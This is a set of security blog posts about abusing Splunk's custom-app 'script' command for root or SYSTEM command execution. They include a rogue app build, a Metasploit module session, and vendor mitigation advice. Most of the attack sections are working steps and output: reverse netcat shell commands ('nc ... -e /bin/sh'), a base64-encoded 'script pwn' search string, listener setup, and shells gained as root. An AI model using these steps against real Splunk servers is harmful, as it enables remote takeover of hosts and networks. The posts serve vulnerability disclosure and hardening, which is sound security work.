Wednesday, 14 November 2012

[Quick Post] Securing Splunk Free Authentication

Following up on my post earlier about abusing Splunk functionality, one of the issues Splunk administrators face when deploying the Free version is the lack of authentication. I just had a very quick and simple thought for anyone running it on Linux/Unix. I suggest simply that you bind SplunkWeb to localhost only and use SSH tunnels to access it.

It doesn't give you any kind of granularity over permissions within Splunk itself and it's not appropriate for all user types but for systems/IT folk who, in my experience make up a decent percentage of users, it could be a good option. It's likely they already have local OS accounts on the Splunk server anyway.

In order to configure Splunk to listen on localhost only a simple configuration change is required to the following file.


$SPLUNK_HOME is /opt/splunk by default. Uncomment and set the following configuration item as follows:

server.socket_host = localhost

Now restart SplunkWeb:

$SPLUNK_HOME/bin/splunk restart splunkweb

Check that's it listening as you expected using a quick netstat on the Linux box:

$ netstat -an | grep 8000
tcp        0      0*               LISTEN 

Nice. Now we need to SSH to the Splunk server and set up our tunnel. I'll give a quick example using OpenSSH, if you're a Windows user PuTTY is your friend (other Windows SSH clients are available). On *your own* machine execute:

$ ssh -L8000: splunk-linux.local

Authenticate as normal and your local port 8000 is forwarded to on the Splunk server so you can now access your Splunk Free instance by connecting to http://localhost:8000. This at least restricts access to valid users on the Linux server which is a big step up from the default. It's also more restrictive than (though works nicely in combination with) host-based firewalling on the server.

Abusing Splunk Functionality with Metasploit

In our post Splunk: With Great Power comes Great Responsibility we outlined how the sheer power and flexibility of Splunk can be abused to gain complete control of the server upon which Splunk is running. We ran through the creation of a custom application to upload through SplunkWeb, which facilitates OS command execution in the context of the Splunk OS user - which is root/SYSTEM by default.

Creating a custom application and manually specifying the arbitrary commands you wish to run is time consuming and unnecessary when we have powerful scripting languages and frameworks to do the legwork for us. Originally I developed a standalone ruby tool, which I released and demoed during a Lightning Talk at BruCON 2012 (and literally wrote during some of the talks there). However, after constant harassment a suggestion from @ChrisJohnRiley, I have developed a module for the Metasploit Framework. A pull request has been submitted, so hopefully it will be included in the main Metasploit Framework. However, until then you can clone from the 7 Elements Github repository as follows (I'll assume you're running a Unix based OS, you're on your own with Windows).

(Optional) Create a directory to store the 7E metasploit modules

$ mkdir ~Development/7Elements
$ cd Development/7Elements

Clone the code from our Github repository

$ git clone
Cloning into 'msf_modules'...
remote: Counting objects: 53, done.
remote: Compressing objects: 100% (30/30), done.
remote: Total 53 (delta 4), reused 44 (delta 3)
Unpacking objects: 100% (53/53), done.

Now set up your Metasploit to handle custom modules

$ cd ~/.msf4/
$ mkdir -p modules/exploits/multi/http
$ cd !!:2
cd modules/exploits/multi/http

Create a symlink to the code we cloned from 7E

ln -s ~/Development/msf_modules/modules/exploits/multi/http/splunk_upload_app_exec.rb .

With that done, we can fire up Metasploit and begin exploitation. I am going to attack a local Debian VM which is running a default installation of Splunk 5 (latest version at time of writing) with the Free license activated.

$ msfconsole 

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-

       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 983 exploits - 531 auxiliary - 162 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/multi/http/splunk_upload_app_exec 
msf  exploit(splunk_upload_app_exec) >

Let's have a look at the options available.

msf  exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   PASSWORD         changeme         yes       The password for the specified username
   Proxies                           no        Use a proxy chain
   RHOST                             yes       The target address
   RPORT            8000             yes       The target port
   SPLUNK_APP_FILE                   yes       The "rogue" Splunk application tgz
   USERNAME         admin            yes       The username with admin role to authenticate as
   VHOST                             no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Universal CMD

msf  exploit(splunk_upload_app_exec) > show advanced 

Module advanced options:

   Name           : CommandOutputDelay
   Current Setting: 10
   Description    : How long to wait before requesting command output from Splunk 

   Name           : DisableUpload
   Current Setting: false
   Description    : Disable the app upload if you have already performed it once

   Name           : EnableOverwrite
   Current Setting: false
   Description    : Overwrites an app of the same name. Needed if you change the app 
      code in the tgz

   Name           : ReturnOutput
   Current Setting: true
   Description    : Display command output

As discussed, exploiting this feature requires an admin level user in Splunk. The username and password are preset to admin and changeme which are the Splunk defaults. On the Free license it actually doesn't matter as there's no authentication anyway.

You will need to set SPLUNK_APP_FILE. By default it will look in the main Metasploit data folder for the provided tar.gz app which means if it ever makes it to the main trunk you won't need to change it by default. For now we set this to the tar.gz provided in the msf_modules directory.

We also set our target (RHOST), our payload (in this case reverse netcat) and the target IP for our payload (LHOST). Everything else we can leave as default.

msf  exploit(splunk_upload_app_exec) > set RHOST splunk-linux.local
RHOST => splunk-linux.local
msf  exploit(splunk_upload_app_exec) > set SPLUNK_APP_FILE /Users/marc/Development/7Elements/msf_modules/data/exploits/splunk/upload_app_exec.tgz
SPLUNK_APP_FILE => /Users/marc/Development/7Elements/msf_modules/data/exploits/splunk/upload_app_exec.tgz
msf  exploit(splunk_upload_app_exec) > set PAYLOAD cmd/unix/reverse_netcat 
PAYLOAD => cmd/unix/reverse_netcat
msf  exploit(splunk_upload_app_exec) > set LHOST

Now we exploit :-)

msf  exploit(splunk_upload_app_exec) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 
[*] Using command: nc 4444 -e /bin/sh 
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] Command shell session 1 opened ( -> at 2012-11-13 15:37:07 +0000
[*] fetching job_output for id 1352821067.8
[*] command returned:

msf  exploit(splunk_upload_app_exec) > sessions -i 1
[*] Starting interaction with 1...

uid=0(root) gid=0(root) groups=0(root)

The usual post-exploitation can now ensue of course. On a recent test I used this method to compromise a host which, among other things, turned out to be running the TACACS+ service for the network. I gained enable access to all Cisco devices in the environment.

In the previous post I also showed how you can retrieve the output from commands. The example I gave was against an Enterprise install running on Windows Server 2008 R2. Let's pop that puppy with our metasploit module too.

msf  exploit(splunk_upload_app_exec) > set RHOST splunk-windows.local
RHOST => splunk-windows.local
msf  exploit(splunk_upload_app_exec) > set USERNAME marc
USERNAME => marc
msf  exploit(splunk_upload_app_exec) > set PASSWORD Password100
PASSWORD => Password100
msf  exploit(splunk_upload_app_exec) > set PAYLOAD generic/custom 
PAYLOAD => generic/custom
msf  exploit(splunk_upload_app_exec) > set PAYLOADSTR cmd.exe /c systeminfo
PAYLOADSTR => cmd.exe /c systeminfo

Now exploit!

msf  exploit(splunk_upload_app_exec) > exploit
[*] Using command: cmd.exe /c systeminfo
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1352823090.12
[*] command returned:
msf  exploit(splunk_upload_app_exec) > 

Oh dear. What happened there? The command didn't return any output. Splunk uses an internal job scheduler in order to process commands so the way we retrieve output is by polling the job control service for any output returned. By default we do this 5 seconds after we execute the script but some commands take longer than this to return. systeminfo, as most of you will know, is not a fast command.

The solution is to increase the time the module waits before it asks for output using the advanced option CommandOutputDelay. Let's try 10 seconds:

msf  exploit(splunk_upload_app_exec) > set CommandOutputDelay 10
CommandOutputDelay => 10
msf  exploit(splunk_upload_app_exec) > exploit

[*] Using command: cmd.exe /c systeminfo
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 10 seconds to retrieve command output
[*] fetching job_output for id 1352823591.13
[*] command returned:
Host Name:                 IIS1
OS Name:                   Microsoft Windows Server 2008 R2 Standard"
OS Version:                6.1.7600 N/A Build 7600"
OS Manufacturer:           Microsoft Corporation"
OS Configuration:          Standalone Server"
OS Build Type:             Multiprocessor Free"
Registered Owner:          Windows User"
Registered Organization:"
Product ID:                00477-001-0000421-84537"
Original Install Date:     25/08/2012"
System Boot Time:          12/11/2012"
System Manufacturer:       VMware"
System Model:              VMware Virtual Platform"
System Type:               x64-based PC"
Processor(s):              2 Processor(s) Installed."

Ah. That's better.

Splunk: With Great Power Comes Great Responsibility

Splunk background

Splunk is a fantastically powerful solution to "search, monitor and analyse machine-generated data by applications, systems and IT infrastructure" and it's no surprise that many businesses are turning to it in order to help meet some of their compliance objectives. Part of Splunk's power comes from its query language and custom application capability. If a user wants to enhance the features of Splunk, maybe to parse and group disparate log entries together into a transactional view, this can all be done. On top of this, a healthy marketplace for Splunk Apps has grown up on the SplunkBase community website.

Splunk Applications

Splunk Apps are a collection of scripts, content and configuration files in a defined directory structure which are then uploaded to the Splunk server  for addition to the App list. This allows authorised users access to the queries and actions that it can perform. In order to upload an App through the web interface the Splunk user requires (by default) 'admin' role.

A bit more power than you thought for?

Splunk offer a very powerful command called script which allows admin-level Splunk users to make "Makes calls to external Perl or Python programs". This is very useful for a number of reasons but is particularly interesting to an attacker who has gained administrative access to a Splunk server.

Nothing new here really. Lots of apps allow authenticated users to upload custom content and every one of them is potentially vulnerable if they do not adequately ensure that this cannot be abused. The main difference with Splunk is two-fold in my opinion.

Firstly, by default Splunk runs as root (on Unix, LocalSystem on Windows). This is far better from an attacker's perspective than, for example, the web server user.

Secondly, in the free version of Splunk there is no authentication at all and it logs you directly in as admin. The Enterprise version does provide authentication and granular permission control. However, as disclosed by Sec-1 in November 2012, it does not protect against brute-force attacks on the login page which leaves it vulnerable. I verified this against the latest version 5 which was recently released with a simpler Burp Intruder attack. As you can see, password attempt 100 succeeds.

Splunk runs over HTTP not HTTPS by default, though HTTPS is a simple click away (more on that later). This means there is also a risk of credential capture over the network by a suitably placed Man-In-The-Middle.

Summarising quickly, what we have here is a "feature" not a vulnerability however, as you will see, Splunk has powerful functionality which can be abused with significant security implications.

Splunk, out of the box:

1) Allows the definition of custom applications
2) Custom applications can execute arbitrary python or perl scripts
3) Runs as root (or SYSTEM) by default

What could possibly go wrong? We're about to find out.

Building a "rogue" Splunk App

Splunk Apps can be very complicated affairs with the possibility of hooking into the SplunkWeb MVC framework to define custom controllers and views for rendering your data. Our needs are actually very modest so we will create the minimum required for our goal: arbitrary OS command execution.

Splunk Apps are installed to $SPLUNK_HOME/etc/apps on the Splunk server. Each app has its own directory, usually named after the app. There are three ways to get an App onto a Splunk server:

1) Manually copy to $SPLUNK_HOME/etc/apps
2) Install from SplunkBase through the SplunkWeb UI
3) Define or upload through the SplunkWeb UI

Option 1 is obviously not available to us at this stage, if we had this kind of access and privilege on the server already we likely wouldn't need this attack.

Option 2 is an interesting potential attack vector which I plan to explore in the future. I do not know what checks are made my Splunk when you submit an app to SplunkBase. Analogous to the smartphone App Stores there is a great risk associated with installing arbitrary code into your environment particularly, as we demonstrate in this post, it runs with such privilege by default.

The Splunk Developer Agreement certainly seems to know what's possible, it states:

(d) Your Application will not contain any malware, virus, worm, Trojan horse, adware, spyware, malicious code or any software routines or components that permit unauthorized access, to disable or erase software, hardware or data, or to perform any other such actions that will have the effect of materially impeding the normal and expected operation of Your Application.

A topic for another day perhaps.

So, Option 3 it is then. You can manually define the files through the UI but that's slow. The easiest way is to create the folder structure and files locally, then produce a tar.gz archive from it and upload.

We will create an app called upload_app_exec. It will contain the following:


app.conf - defines information about app, including version number and visibility in the UI. This is important for our attack later.

author=Marc Wickenden
description=With great power....

is_visible = true

commands.conf - This defines the name of our command to pass to "script" in Splunk. This ties our arbitrary python or perl to the Splunk UI
type = python
filename =
local = false
enableheader = false
streaming = false
perf_warn_limit = 0

default.meta - For our purposes, this defines the scope of our commands. We export to "system" which basically means all apps. < br />
export = system - The meat and potatoes. This is our arbitrary python script which Splunk will run. This could be even simpler that what I have defined here however, by using the splunk.Intersplunk python libraries provided we are able to capture output from commands executed and present back to Splunk cleanly.
As you can see, we pass in a single argument which is a base64 encoded string (easier as it avoids browser encoding issues and handling multiple arguments in here or in Splunk.

import sys
import base64
import splunk.Intersplunk

results = []


        import traceback
        stack = traceback.format_exc()
        results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))


With everything in place we simply tar/gz this directory up ready.

$ tar cvzf upload_app_exec.tgz upload_app_exec
a upload_app_exec
a upload_app_exec/bin
a upload_app_exec/default
a upload_app_exec/metadata
a upload_app_exec/metadata/default.meta
a upload_app_exec/default/app.conf
a upload_app_exec/default/commands.conf
a upload_app_exec/bin/

Now we head over to our Splunk system to complete the upload. I will demonstrate this with a default installation of the latest (at time of writing) version 5 of Splunk on a Debian 6 box. The only thing I have configured in Splunk is activating the Free License rather than the default trial Enterprise license included.

For completeness I simply ran:

dpkg -i splunk-5.0-140868-linux-2.6-intel.deb
/opt/splunk/bin/splunk start

Uploading the App

Open your browser and type in the address for your target Splunk instance. In this example my Debian box is splunk-linux.local on the default port of 8000. By default you will be greated by the launcher app.

 Click on the Apps menu on the right-hand side.
 Then "Install app from file" and select the tar.gz we created in the previous steps.
You should receive a message to say the app installed successfully. Now access it from the App dropdown menu at the top right of the screen.
 You will be presented with the timeline interface for our new app.

If you recall from earlier, our command will be supplied as a base64 encoded string. For this demonstration I will pop a reverse netcat shell to my waiting listener. Generating base64 is a doddle but just in case you want some command-line fu:

OS X/Linux:

$ echo -n 'nc -e /bin/sh 4444' | base64

Windows Powershell:

PS> [System.Convert]::ToBase64String([System.Text.Encoding]:
:UTF8.GetBytes('nc -e /bin/sh 4444'))

Now set up a listener for our netcat reverse shell on port 4444 with:

$ nc -vln 4444

Finally, time to trigger the command execution and get our shell. In the Splunk search box type the command to pipe the search results (which are irrelevant to us) to our script command:

* | script pwn bmMgLWUgL2Jpbi9zaCAxNzIuMTYuMTI1LjEgNDQ0NA==


We can also return the output of a command to Splunk for display in the browser. This time I will demonstrate using Splunk for Windows just to show it's a universal problem. Again using a default installation of 5 on Windows Server 2008 R2 except this time it has an Enterprise license.

Upload the same app as before but this time we will issue the systeminfo command which will run as NT AUTHORITY\SYSTEM.


The process itself is very simple but wouldn't it be even better if some kind soul had developed this functionality for the Metasploit Framework? It's your lucky day, head on over to the second blog post in this series for all the details: Splunk Functionality Abuse with Metasploit.

Fixing it

Splunk have been contacted for advice on this threat but have so far not responded. We will update this blog with their official response as and when we receive it.

UPDATE: 15th November 2012
Fred Wilmot at Splunk has been in touch with me and we've had a really good chat about this. He sent me an email addressing each of the points in this post. What is also clear is that Splunk are committed to doing things the "right way". Fred has some great ideas he's working on so hopefully these will come to fruition. I have included Splunk's response at the end.

In the mean time we would suggest at a minimum Splunk administrators implement the advice in Splunk's hardening guide at This will result in an installation which does not run as a privileged user and switches SplunkWeb to use HTTPS. These don't directly address the threat of arbitrary command execution however. Depending on the target of the attack and other implementation details, getting access to a "splunk" user may be enough. Think "data oriented" or "goal oriented" rather than assuming root is required.

I have not been able to identify a way to disable the script command. The main splunkd process is a compiled executable but a lot of the functionality of Splunk is written in Python so there may be a simple way to comment out or redefine the pertinent parts of the application. This would however be a hard-sell to most organisations and rightly so. Particularly Enterprise customers who pay handsomely for their annual support contracts.

I wonder also if Linux/Unix users could chroot the installation without losing functionality. This may be the strongest mitigation available.

For now it seems the best advice we can give is to ensure that no Free Licence deployments of Splunk are available on a network which contains sensitive data. That credentials at an OS level are not shared between Enterprise deployments and Free versions, particularly those accounts with the admin role. Additionally ensure that users with admin role are reviewed regularly and privileges reduced to least privilege. All the usual good advice basically.

If Splunk come back to us with any further advice we will update this post accordingly. I'm particularly interested in the answer to another question I asked them: which other commands or functionality can be (ab)used in this way. If you think of any please add a comment.


Response from Fred Wilmot at Splunk:

We wanted to respond to your blog post, which I enjoyed reading all three sections.   You express some valid concerns if best practices are not followed.  Let me try to summarize:

Threat Model:
1) Default Splunk runs as root (on Unix, LocalSystem on Windows).
2) No authentication mechanism other than Splunk, default login is administrative
3) lack of HTTPS by default, leaves Splunk cred susceptible to MitM.
4) Potential for data oriented compromise using another Splunk user account.

* create roles and map capability to user based on least privilege (which is default 0 for new accounts)

Summarising quickly, what we have here is a "feature" not a vulnerability however, as you will see, Splunk has powerful functionality which can be abused with significant security implications.

We certainly are aware of the power of the features of Splunk, and if standard security best practices are bypassed like: privileged local account access, running Splunk as root, and using the free version of Splunk w/o an auth scheme, you have the opportunity to execute scripts  using Splunk and python libs for code execution. 

We designed Splunk to allow roles to add applications both through the User Interface as well as the file system through access.  We also completely agree that the free version's method of authentication is NOT designed for enterprise use, and suggest the primary use case is enabling folks to get used to core Splunk with a volume of daily ingest license as the limiter.   Anyone with the ability to run root, owns the box, and hence, all things.  If we install an app under that context, the same functionality applies.  

Here are some ways/means to add some controls around feature function-
1) If authenticating to Splunk, use SSL as a standard function when possible, in conjunction with LDAP authentication.  Generate your own keys, don't use Splunk's default keys as well.
2) Provided we follow a roles-based access control approach, we can also limit who is capable of authenticating as a role to Splunk, and thereby what they can do as a function of product features.  this includes searches, views, applications, and many of the administrative functions for running Splunk.
3) We can configure commands.conf to prevent script export to anything outside the application it runs in, including passing authentication as a function of the custom python script.  
4) We can also configure default.meta to add additional controls around the application itself. *.meta files contain ownership information, access controls, and export settings for Splunk objects like saved searches, event types, and views. Each app has its own default.meta file.

5) We can also limit splunk Restrict Search Terms and capabilities specifically.  This can include search parameters aside from script.
5) Do not run Splunk as root.  this is documented for our customers, and a recommended best practices.
6) Do not use the default 'Admin' role for normal usage, create both roles and users in Splunk to assign controls to authorized users. we suggest tying an authentication mechanism such as LDAP or AD.
7) Do not use Splunk authentication as a method for access control in production.
8) MiTM credential attacks happen when not using SSL.  and brute forcing happens w/o strong authentication. Configure Splunk to use SSL and LDAP to mitigate these risks. 

Anyone with the ability to run root, owns the box, and hence, all things.  If we install an app under that context, the same functionality applies.  
from our community Wiki, as you followed, we also include some hardening practices as well.

As an vendor committed to product security, both responsible disclosure practices, best practices and guidance can also be found here.

I do see an opportunity to limit the capability of script execution as an additional control we can place in the roles capability to limit arbitrary code execution by anyone at the Splunk Application level.  Maybe we limit script loading except through the UI for all non 'Admin' roles? Perhaps assigning a GUID to a script specifically might add granularity here as well. We also have a functionality to monitor and audit user interactivity within Splunk.  We, of course, Splunk that too.

You asked about some operations that may have interesting impacts as you describe with 'script' command, I might suggest the nature of the feature itself allows for this, and should be used with due care, change control, and audit for visibility into add/change/mod.  We designed Splunk to allow folks to upload/download apps to Splunk as a platform from our, as well as the community to contribute their context for Splunk as a platform with their applications they have created.

As you said, with great power comes great responsibility; we are very open to suggestions, and feedback on the product.  Thank you very much for both the candor and the feedback, looking forward to hearing more from you.

Best regards,

Fred Wilmot, CISSP
Security Practice Manager